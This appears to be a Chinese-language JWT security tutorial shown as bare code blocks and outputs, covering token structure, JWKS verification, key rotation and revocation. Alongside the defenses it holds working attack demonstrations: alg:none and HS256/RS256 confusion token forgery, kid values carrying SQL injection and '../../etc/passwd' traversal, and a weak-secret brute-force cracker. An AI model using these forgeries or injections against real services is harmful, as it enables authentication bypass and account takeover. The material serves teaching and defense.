1
xxxxx.yyyyy.zzzzz
2
Header.Payload.Signature

1
// Header（头部：声明类型和签名算法）
2
{"alg": "RS256", "typ": "JWT"}
3

4
// Payload（载荷：存放声明/claims）
5
{"sub": "1234567890", "name": "Zhang San", "iat": 1516239022}
6

7
// Signature（签名：保证完整性）
8
HMACSHA256(base64(header) + "." + base64(payload), secret)

1
import base64
2
import json
3

4
# JWT 的 Base64URL 编码
5
def base64url_encode(data: bytes) -> str:
6
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')
7

8
def base64url_decode(s: str) -> bytes:
9
    padding = 4 - len(s) % 4
10
    s += '=' * padding
11
    return base64.urlsafe_b64decode(s)
12

13
# 解码 JWT 的 Payload
14
payload_encoded = "eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ"
15
payload = json.loads(base64url_decode(payload_encoded))
16
print(payload)  # {"sub": "1234567890", "name": "John Doe", "iat": 1516239022}

1
JWE 五部分（紧凑序列化）：
2
Header.EncryptedKey.IV.Ciphertext.AuthenticationTag
3

4
各部分含义：
5
1. Header: {"alg":"RSA-OAEP","enc":"A256GCM"} — 密钥加密算法 + 内容加密算法
6
2. EncryptedKey: 用接收者公钥加密的 CEK（Content Encryption Key）
7
3. IV: 初始化向量
8
4. Ciphertext: 用 CEK 加密的 Payload
9
5. AuthenticationTag: AEAD 认证标签

1
// RSA 公钥的 JWK 表示
2
{
3
  "kty": "RSA",
4
  "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw",
5
  "e": "AQAB",
6
  "kid": "key-2024-01",
7
  "alg": "RS256",
8
  "use": "sig"
9
}

1
# 从 JWKS 端点获取公钥并验证 JWT
2
import jwt
3
import requests
4

5
def verify_jwt_with_jwks(token: str, jwks_url: str, audience: str) -> dict:
6
    """使用 JWKS 端点验证 JWT"""
7
    # 1. 解码 Header 获取 kid
8
    header = jwt.get_unverified_header(token)
9
    kid = header.get("kid")
10

11
    # 2. 从 JWKS 端点获取公钥
12
    jwks = requests.get(jwks_url).json()
13
    public_key = None
14
    for key in jwks["keys"]:
15
        if key["kid"] == kid:
16
            public_key = jwt.algorithms.RSAAlgorithm.from_jwk(key)
17
            break
18

19
    if not public_key:
20
        raise ValueError(f"Key ID {kid} not found in JWKS")
21

22
    # 3. 验证 JWT（指定算法白名单！）
23
    payload = jwt.decode(
24
        token,
25
        public_key,
26
        algorithms=["RS256"],  # 白名单
27
        audience=audience,
28
        options={"require": ["exp", "sub", "iss"]}
29
    )
30
    return payload
31

32
# 使用示例
33
payload = verify_jwt_with_jwks(
34
    token="eyJhbGciOiJSUzI1NiIs...",
35
    jwks_url="https://auth.example.com/.well-known/jwks.json",
36
    audience="https://api.example.com"
37
)

1
# alg:none 攻击演示（仅用于理解原理）
2
import base64, json
3

4
def forge_none_jwt(payload: dict) -> str:
5
    """构造 alg:none 的伪造 JWT"""
6
    header = base64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
7
    body = base64url_encode(json.dumps(payload).encode())
8
    return f"{header}.{body}."  # 签名部分为空
9

10
# 防御：验证时必须白名单算法
11
def safe_decode(token: str, key) -> dict:
12
    """安全验证：明确指定允许的算法"""
13
    return jwt.decode(token, key, algorithms=["RS256", "ES256"])

1
攻击步骤：
2
1. 攻击者获取服务端的 RSA 公钥（公钥是公开的！）
3
2. 修改 JWT Header: {"alg": "HS256"}
4
3. 用公钥作为 HMAC 密钥签名 Payload
5
4. 服务端验证时：
6
   - 读取 Header 中的 alg=HS256
7
   - 用公钥作为 HMAC 密钥验证
8
   - 验证通过！因为攻击者用了同样的"密钥"（公钥）
9

10
防御：服务端必须根据 kid 指定的密钥类型决定算法，不接受 Header 中的 alg

1
// Go: 安全的 JWT 验证 — 明确指定算法
2
func verifyToken(tokenString string, publicKey *rsa.PublicKey) (jwt.MapClaims, error) {
3
    token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
4
        // 关键防御：检查算法是否匹配预期
5
        if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {
6
            return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
7
        }
8
        return publicKey, nil
9
    })
10
    if err != nil {
11
        return nil, err
12
    }
13
    return token.Claims.(jwt.MapClaims), nil
14
}

1
// 恶意 JWT Header：嵌入了攻击者的公钥
2
{
3
  "alg": "RS256",
4
  "typ": "JWT",
5
  "jwk": {
6
    "kty": "RSA",
7
    "n": "<攻击者的公钥参数>",
8
    "e": "AQAB"
9
  }
10
}

1
攻击 1：SQL 注入
2
kid: "key-1' UNION SELECT * FROM keys--"
3

4
攻击 2：目录遍历
5
kid: "../../etc/passwd"
6

7
攻击 3：kid 指向不存在的密钥
8
kid: "nonexistent-key"  → 服务端可能返回默认密钥或错误

1
# 防御：kid 白名单验证
2
def get_key_by_kid(kid: str) -> bytes:
3
    """安全获取密钥：只接受预定义的 kid"""
4
    ALLOWED_KIDS = {"key-2024-01", "key-2024-02", "key-2024-03"}
5
    if kid not in ALLOWED_KIDS:
6
        raise ValueError(f"Unknown key ID: {kid}")
7
    return load_key_from_kms(kid)

1
# 弱密钥检测工具（概念演示）
2
import jwt
3

4
WEAK_SECRETS = [
5
    "secret", "password", "123456", "jwt_secret",
6
    "your-256-bit-secret", "my_secret_key",
7
    # 常见框架默认密钥
8
    "changeme", "default", "test",
9
]
10

11
def crack_jwt(token: str) -> str:
12
    """尝试常见弱密钥"""
13
    for secret in WEAK_SECRETS:
14
        try:
15
            jwt.decode(token, secret, algorithms=["HS256"])
16
            return f"破解成功！密钥是: {secret}"
17
        except jwt.InvalidSignatureError:
18
            continue
19
    return "未找到弱密钥"

1
# Refresh Token 轮换实现
2
import secrets
3
import time
4

5
class RefreshTokenManager:
6
    def __init__(self, redis_client):
7
        self.redis = redis_client
8

9
    def create_refresh_token(self, user_id: str) -> str:
10
        """创建 Refresh Token"""
11
        token = secrets.token_urlsafe(48)
12
        # 存储到 Redis，设置 7 天过期
13
        self.redis.setex(
14
            f"refresh:{token}",
15
            7 * 24 * 3600,
16
            json.dumps({"user_id": user_id, "created_at": time.time()})
17
        )
18
        return token
19

20
    def rotate_refresh_token(self, old_token: str) -> tuple:
21
        """轮换 Refresh Token：旧 Token 失效，签发新 Token"""
22
        # 1. 验证旧 Token 是否存在
23
        data = self.redis.get(f"refresh:{old_token}")
24
        if not data:
25
            raise ValueError("Invalid or expired refresh token")
26

27
        # 2. 立即删除旧 Token（防止重用）
28
        self.redis.delete(f"refresh:{old_token}")
29

30
        # 3. 检测重用：如果旧 Token 已被删除但存在于重用记录中
31
        if self.redis.sismember("refresh_reused", old_token):
32
            # 安全事件：有人重用了 Refresh Token
33
            # 应该撤销该用户的所有 Token
34
            self._revoke_all_user_tokens(json.loads(data)["user_id"])
35
            raise ValueError("Refresh token reuse detected")
36

37
        # 4. 记录旧 Token 到重用检测集合
38
        self.redis.sadd("refresh_reused", old_token)
39
        self.redis.expire("refresh_reused", 30 * 24 * 3600)
40

41
        # 5. 签发新 Refresh Token
42
        user_data = json.loads(data)
43
        new_token = self.create_refresh_token(user_data["user_id"])
44

45
        return new_token, user_data["user_id"]

1
# 黑名单撤销实现
2
class TokenBlacklist:
3
    def __init__(self, redis_client):
4
        self.redis = redis_client
5

6
    def revoke(self, jti: str, exp: int):
7
        """撤销 Token：将 jti 加入黑名单，过期时间与 Token 一致"""
8
        ttl = exp - int(time.time())
9
        if ttl > 0:
10
            self.redis.setex(f"blacklist:{jti}", ttl, "1")
11

12
    def is_revoked(self, jti: str) -> bool:
13
        """检查 Token 是否被撤销"""
14
        return self.redis.exists(f"blacklist:{jti}")

1
# Python: 完整的 JWT 签名与验证
2
import jwt
3
from cryptography.hazmat.primitives.asymmetric import rsa
4
from cryptography.hazmat.primitives import serialization
5

6
# 生成密钥对
7
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
8
public_key = private_key.public_key()
9

10
# 签名（指定算法，不接受 Header 中的 alg）
11
token = jwt.encode(
12
    {
13
        "sub": "1234567890",
14
        "name": "Zhang San",
15
        "exp": 1699999999,
16
        "iat": 1699999099,
17
        "iss": "https://auth.example.com",
18
        "aud": "https://api.example.com",
19
        "jti": "unique-token-id-123"
20
    },
21
    private_key,
22
    algorithm="RS256",
23
    headers={"kid": "key-2024-01"}
24
)
25

26
# 验证（指定算法白名单 + 必须包含的声明）
27
payload = jwt.decode(
28
    token,
29
    public_key,
30
    algorithms=["RS256"],  # 白名单，不接受其他算法
31
    issuer="https://auth.example.com",
32
    audience="https://api.example.com",
33
    options={"require": ["exp", "sub", "iss", "aud"]}
34
)

1
// Go: 完整的 JWT 签名与验证
2
package main
3

4
import (
5
    "fmt"
6
    "time"
7
    "github.com/golang-jwt/jwt/v5"
8
)
9

10
func signToken(privateKey []byte, userID string) (string, error) {
11
    key, err := jwt.ParseRSAPrivateKeyFromPEM(privateKey)
12
    if err != nil {
13
        return "", err
14
    }
15

16
    claims := jwt.MapClaims{
17
        "sub": userID,
18
        "iss": "https://auth.example.com",
19
        "aud": "https://api.example.com",
20
        "exp": time.Now().Add(15 * time.Minute).Unix(),
21
        "iat": time.Now().Unix(),
22
        "jti": "unique-token-id-123",
23
    }
24

25
    token := jwt.NewWithClaims(jwt.SigningMethodRS256, claims)
26
    token.Header["kid"] = "key-2024-01"
27
    return token.SignedString(key)
28
}
29

30
func verifyToken(tokenString string, publicKey []byte) (jwt.MapClaims, error) {
31
    key, err := jwt.ParseRSAPublicKeyFromPEM(publicKey)
32
    if err != nil {
33
        return nil, err
34
    }
35

36
    token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
37
        // 关键：验证算法类型
38
        if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {
39
            return nil, fmt.Errorf("unexpected method: %v", token.Header["alg"])
40
        }
41
        return key, nil
42
    }, jwt.WithValidMethods([]string{"RS256"}))
43

44
    if err != nil {
45
        return nil, err
46
    }
47
    return token.Claims.(jwt.MapClaims), nil
48
}

1
import jwt, json, base64, time
2

3
secret = "super-secret-key"
4

5
# 正常签发 JWT
6
token = jwt.encode(
7
    {"sub": "user123", "role": "user", "exp": int(time.time()) + 3600},
8
    secret, algorithm="HS256"
9
)
10
print(f"正常 JWT (HS256):")
11
print(f"  Token: {token[:50]}...")
12
print(f"  解码: {jwt.decode(token, secret, algorithms=['HS256'])}")
13

14
# alg=none 攻击：手动构造 alg=none 的 JWT
15
header = base64.urlsafe_b64encode(
16
    json.dumps({"alg": "none", "typ": "JWT"}).encode()
17
).rstrip(b'=').decode()
18
payload = base64.urlsafe_b64encode(
19
    json.dumps({"sub": "admin", "role": "admin"}).encode()
20
).rstrip(b'=').decode()
21
forged_token = f"{header}.{payload}."
22

23
print(f"\n伪造 JWT (alg=none):")
24
print(f"  Header:  {{'alg': 'none', 'typ': 'JWT'}}")
25
print(f"  Payload: {{'sub': 'admin', 'role': 'admin'}}")
26
print(f"  伪造 Token: {forged_token[:50]}...")
27

28
# 现代库会拒绝 none 算法
29
try:
30
    decoded = jwt.decode(forged_token, secret, algorithms=["HS256"])
31
    print("    验证通过！攻击成功！")
32
except jwt.InvalidAlgorithmError as e:
33
    print(f"   验证失败 — {type(e).__name__}: {e}")
34

35
# 不验证签名时可以解码（仅读取，不验证）
36
decoded = jwt.decode(forged_token, options={"verify_signature": False})
37
print(f"  不验证签名时解码: {decoded}")
38
print(f"    如果服务端不验证签名，攻击者可以伪造任意身份！")

1
正常 JWT (HS256):
2
  Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c...
3
  解码: {'sub': 'user123', 'role': 'user', 'exp': 1778167624}
4

5
伪造 JWT (alg=none):
6
  Header:  {'alg': 'none', 'typ': 'JWT'}
7
  Payload: {'sub': 'admin', 'role': 'admin'}
8
  伪造 Token: eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOi...
9
   验证失败 — InvalidAlgorithmError: The specified alg value is not allowed
10
  不验证签名时解码: {'sub': 'admin', 'role': 'admin'}
11
    如果服务端不验证签名，攻击者可以伪造任意身份！

1
from cryptography.hazmat.primitives.asymmetric import rsa
2
from cryptography.hazmat.primitives import serialization
3
import hmac as hmac_mod, hashlib
4

5
# 服务端使用 RS256
6
rsa_private = rsa.generate_private_key(public_exponent=65537, key_size=2048)
7
rsa_public = rsa_private.public_key()
8

9
# 正常签发 RS256 JWT
10
rs_token = jwt.encode({"sub": "user123", "role": "user"}, rsa_private, algorithm="RS256")
11
print(f"正常 RS256 JWT: {rs_token[:50]}...")
12

13
# 提取公钥 PEM（攻击者可以从 JWKS 端点获取）
14
public_pem = rsa_public.public_bytes(
15
    encoding=serialization.Encoding.PEM,
16
    format=serialization.PublicFormat.SubjectPublicKeyInfo
17
).decode()
18

19
# 攻击：构造 alg=HS256 的 JWT，用公钥作为 HMAC 密钥
20
header_att = base64.urlsafe_b64encode(
21
    json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
22
).rstrip(b'=').decode()
23
payload_att = base64.urlsafe_b64encode(
24
    json.dumps({"sub": "admin", "role": "admin"}).encode()
25
).rstrip(b'=').decode()
26

27
signing_input = f"{header_att}.{payload_att}".encode()
28
forged_sig = base64.urlsafe_b64encode(
29
    hmac_mod.new(public_pem.encode(), signing_input, hashlib.sha256).digest()
30
).rstrip(b'=').decode()
31
forged_rs_token = f"{header_att}.{payload_att}.{forged_sig}"
32

33
print(f"\n伪造 HS256 JWT (用公钥作 HMAC 密钥):")
34
print(f"  伪造 Token: {forged_rs_token[:50]}...")
35

36
# PyJWT 2.x 防御了此攻击
37
try:
38
    decoded = jwt.decode(forged_rs_token, public_pem, algorithms=["HS256"])
39
    print("    验证通过！算法混淆攻击成功！")
40
except Exception as e:
41
    print(f"   验证失败 — {type(e).__name__}")
42
    print("  PyJWT 2.x 默认要求 algorithms 参数严格匹配，防御了此攻击")

1
正常 RS256 JWT: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c...
2

3
伪造 HS256 JWT (用公钥作 HMAC 密钥):
4
  伪造 Token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiO...
5
   验证失败 — InvalidKeyError
6
  PyJWT 2.x 默认要求 algorithms 参数严格匹配，防御了此攻击

1
from cryptography.hazmat.primitives.asymmetric import ec
2
import os
3

4
# 生成 ECC 密钥对
5
ec_private = ec.generate_private_key(ec.SECP256R1())
6
ec_public = ec_private.public_key()
7

8
ec_private_pem = ec_private.private_bytes(
9
    encoding=serialization.Encoding.PEM,
10
    format=serialization.PrivateFormat.PKCS8,
11
    encryption_algorithm=serialization.NoEncryption()
12
)
13
ec_public_pem = ec_public.public_bytes(
14
    encoding=serialization.Encoding.PEM,
15
    format=serialization.PublicFormat.SubjectPublicKeyInfo
16
)
17

18
# 签发 JWT（含完整标准声明）
19
now = int(time.time())
20
es_token = jwt.encode(
21
    {
22
        "iss": "auth-server",           # 签发者
23
        "sub": "user123",               # 主体
24
        "aud": "api-server",            # 受众
25
        "exp": now + 900,               # 过期时间（15 分钟）
26
        "iat": now,                     # 签发时间
27
        "jti": os.urandom(8).hex()      # 唯一 ID 防重放
28
    },
29
    ec_private_pem,
30
    algorithm="ES256",
31
    headers={"kid": "key-2024-01"}     # 密钥 ID
32
)
33
print(f"ES256 JWT: {es_token[:60]}...")
34

35
# 验证（含完整声明校验）
36
decoded = jwt.decode(
37
    es_token,
38
    ec_public_pem,
39
    algorithms=["ES256"],
40
    audience="api-server",
41
    issuer="auth-server"
42
)
43
print(f"验证通过 ")
44
print(f"解码: {json.dumps(decoded, indent=2, default=str)}")
45

46
# 过期 Token 验证
47
expired_token = jwt.encode(
48
    {"sub": "user123", "exp": now - 3600},
49
    ec_private_pem, algorithm="ES256"
50
)
51
try:
52
    jwt.decode(expired_token, ec_public_pem, algorithms=["ES256"])
53
except jwt.ExpiredSignatureError:
54
    print(f"\n过期 Token 验证: 失败  — ExpiredSignatureError")

1
ES256 JWT: eyJhbGciOiJFUzI1NiIsImtpZCI6ImtleS0yMDI0LTAxIiwidHlwIjoiSldU...
2
验证通过
3
解码: {
4
  "iss": "auth-server",
5
  "sub": "user123",
6
  "aud": "api-server",
7
  "exp": 1778164924,
8
  "iat": 1778164024,
9
  "jti": "f929cfcee5fef221"
10
}
11

12
过期 Token 验证: 失败  — ExpiredSignatureError

1
# 两个密钥：旧密钥和新密钥
2
old_key = ec.generate_private_key(ec.SECP256R1())
3
new_key = ec.generate_private_key(ec.SECP256R1())
4

5
old_pem = old_key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
6
new_pem = new_key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
7

8
old_pub_pem = old_key.public_key().public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
9
new_pub_pem = new_key.public_key().public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
10

11
# 用旧密钥签发 token
12
old_token = jwt.encode({"sub": "user123"}, old_pem, algorithm="ES256", headers={"kid": "key-v1"})
13
# 用新密钥签发 token
14
new_token = jwt.encode({"sub": "user456"}, new_pem, algorithm="ES256", headers={"kid": "key-v2"})
15

16
# JWKS 端点模拟
17
key_map = {"key-v1": old_pub_pem, "key-v2": new_pub_pem}
18
print("JWKS 端点密钥列表:")
19
for kid in key_map:
20
    print(f"  kid={kid}, kty=EC, crv=P-256")
21

22
# 验证：根据 kid 选择对应公钥
23
for token_name, token in [("旧密钥 Token", old_token), ("新密钥 Token", new_token)]:
24
    header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
25
    kid = header.get("kid")
26
    pub_key = key_map.get(kid)
27
    try:
28
        decoded = jwt.decode(token, pub_key, algorithms=["ES256"])
29
        print(f"{token_name} (kid={kid}): 验证通过 ")
30
    except Exception as e:
31
        print(f"{token_name} (kid={kid}): 验证失败 — {e}")
32

33
# 轮换后：旧密钥从 JWKS 移除
34
print(f"\n轮换后移除旧密钥 (kid=key-v1):")
35
del key_map["key-v1"]
36
kid = json.loads(base64.urlsafe_b64decode(old_token.split('.')[0] + '==')).get("kid")
37
if key_map.get(kid) is None:
38
    print(f"  旧密钥 Token (kid={kid}): 拒绝  — 密钥已从 JWKS 移除")

1
JWKS 端点密钥列表:
2
  kid=key-v1, kty=EC, crv=P-256
3
  kid=key-v2, kty=EC, crv=P-256
4
旧密钥 Token (kid=key-v1): 验证通过
5
新密钥 Token (kid=key-v2): 验证通过
6

7
轮换后移除旧密钥 (kid=key-v1):
8
  旧密钥 Token (kid=key-v1): 拒绝  — 密钥已从 JWKS 移除